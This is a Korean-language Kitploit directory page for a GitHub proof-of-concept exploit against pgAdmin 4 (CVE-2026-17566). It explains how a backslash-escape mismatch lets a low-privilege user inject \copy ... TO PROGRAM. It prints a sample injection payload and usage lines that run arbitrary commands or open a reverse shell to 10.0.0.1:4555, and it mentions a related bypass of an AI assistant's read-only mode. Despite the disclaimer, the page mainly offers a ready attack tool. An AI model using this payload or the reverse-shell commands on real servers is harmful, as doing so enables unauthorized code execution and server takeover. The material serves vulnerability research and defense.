Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
CVE-2026-17566 — pgAdmin 4 가져오기/내보내기 RCE (CVE-2026-17566) PoC - 백슬래시 이스케이프 불일치를 통한 TO PROGRAM 주입 | Kitploit
도구/GitHubGitHub/hackspeak/cve-2026-17566
Payload GenerationVulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration Testing
GitHubhackspeak/cve-2026-17566

CVE-2026-17566

pgAdmin 4 가져오기/내보내기 RCE (CVE-2026-17566) PoC - 백슬래시 이스케이프 불일치를 통한 TO PROGRAM 주입

저장소 보기
111개월 전아직 검토되지 않음

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

CVE-2026-17566 — pgAdmin 4 Import/Export Data RCE PoC

pgAdmin 4 Import/Export Data 도구 원격 코드 실행 PoC. _is_query_parens_balanced() 괄호 검사기와 psql의 백슬래시 이스케이프 의미 체계 차이를 이용하여 \copy ... TO PROGRAM을 주입하고 pgAdmin이 실행 중인 서버에서 임의 명령을 실행합니다.

배경 공격 체인: CVE-2026-17349(Workspaces 자격 증명 유출) → CVE-2026-17351(AI Assistant 읽기 전용 우회) → 본 취약점(RCE). 세 가지 모두 낮은 권한의 인증된 사용자만 있으면 됩니다.

취약점 요약

Import/Export Data 도구는 사용자 SQL을 Jinja 템플릿에 삽입하여 psql \copy (...) 명령을 구성합니다. 수제 괄호 균형 검사기는 항상 \'를 이스케이프된 따옴표로 처리하지만(standard_conforming_strings=off일 때만 올바름), PostgreSQL 기본값인 standard_conforming_strings=on에서는 psql이 백슬래시를 일반 문자로 취급하므로 따옴표가 바로 닫힙니다.

root@kitploit:~
-- 示意 payload
SELECT 'a\') TO PROGRAM 'echo pwned' x'

검사기는 )가 여전히 문자열 안에 있다고 판단 → 괄호 "균형" 통과; psql은 a\'에서 문자열을 닫고, )가 \copy (...) 묶음을 종료하며, TO PROGRAM 'cmd'가 실제 명령이 되어 psql의 popen()으로 실행됩니다.

  • CWE: CWE-78(OS 명령 주입)/ CWE-115(입력 오해석)
  • CVSS: 9.9(CVSS 3.1)/ 9.4(CVSS 4.0), 범위 변경, 낮은 권한 + 비상호작용
  • 영향: pgAdmin 4 < 9.18(_is_query_parens_balanced() 도입 이후); 수정 커밋 1496fabe
  • 관련: CVE-2025-12762 / CVE-2025-13780(psql TO PROGRAM 주입, 동일 계열)
  • 발견자: Arpit Jain(arpitjain099)

악용 조건

  • 인증된 낮은 권한의 pgAdmin 사용자(tools_import_export_data 권한 보유)
  • 네트워크에서 pgAdmin 서비스에 접근 가능
  • 대상이 pgAdmin 4 < 9.18이고 Import/Export 도구를 사용 가능해야 함

사용법

root@kitploit:~
export PGADMIN_PASSWORD='账户密码'

# 任意命令(结果写入服务器侧文件,便于观察)
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --command 'id > /tmp/pgadmin_rce_proof'

# 反向 shell
python3 pgadmin4_rce_poc.py --url https://127.0.0.1:5050 \
    --user lowpriv --reverse 10.0.0.1:4555

절차: 로그인(CSRF/session 자동 처리) → 서버 열거 → POST /import_export/job/<sid>로 구성된 is_query_export 요청 제출.

⚠️ 면책 조항

보안 연구, 취약점 검증 및 방어적 테스트 용도로만 사용하십시오. 본 스크립트는 공개된 기술 분석을 바탕으로 작성되었으며 실제 환경에서 검증되지 않았습니다. 요청 필드는 대상 pgAdmin 버전에 따라 미세 조정이 필요할 수 있습니다. 승인된 테스트 환경에서만 실행하고, 승인되지 않은 시스템에는 사용하지 마십시오.

출처 및 참고

  • 본 저장소는 독립적으로 작성된 PoC(MIT License)이며, 기술은 공개 자료에 근거함
  • 공식 Issue #10213: 괄호 검사기 백슬래시 의미 오류
  • OpenCVE: CVE-2026-17566
  • NVD: CVE-2026-17566
  • 수정 커밋: 1496fabe
도구 다운로드
매개변수설명
--urlpgAdmin 기본 URL
--user / --password(또는 PGADMIN_PASSWORD)낮은 권한 계정
--command임의 명령(작은따옴표 포함 불가)
--reverse HOST:PORTbash 리버스 셸 생성
--server-id서버 ID(기본값은 첫 번째 서버 자동 선택)
--file내보내기 파일명(\copy 명령 구성용, 기본값 /tmp/pgadmin_export.csv)
--no-verifyTLS 인증서 검증 건너뛰기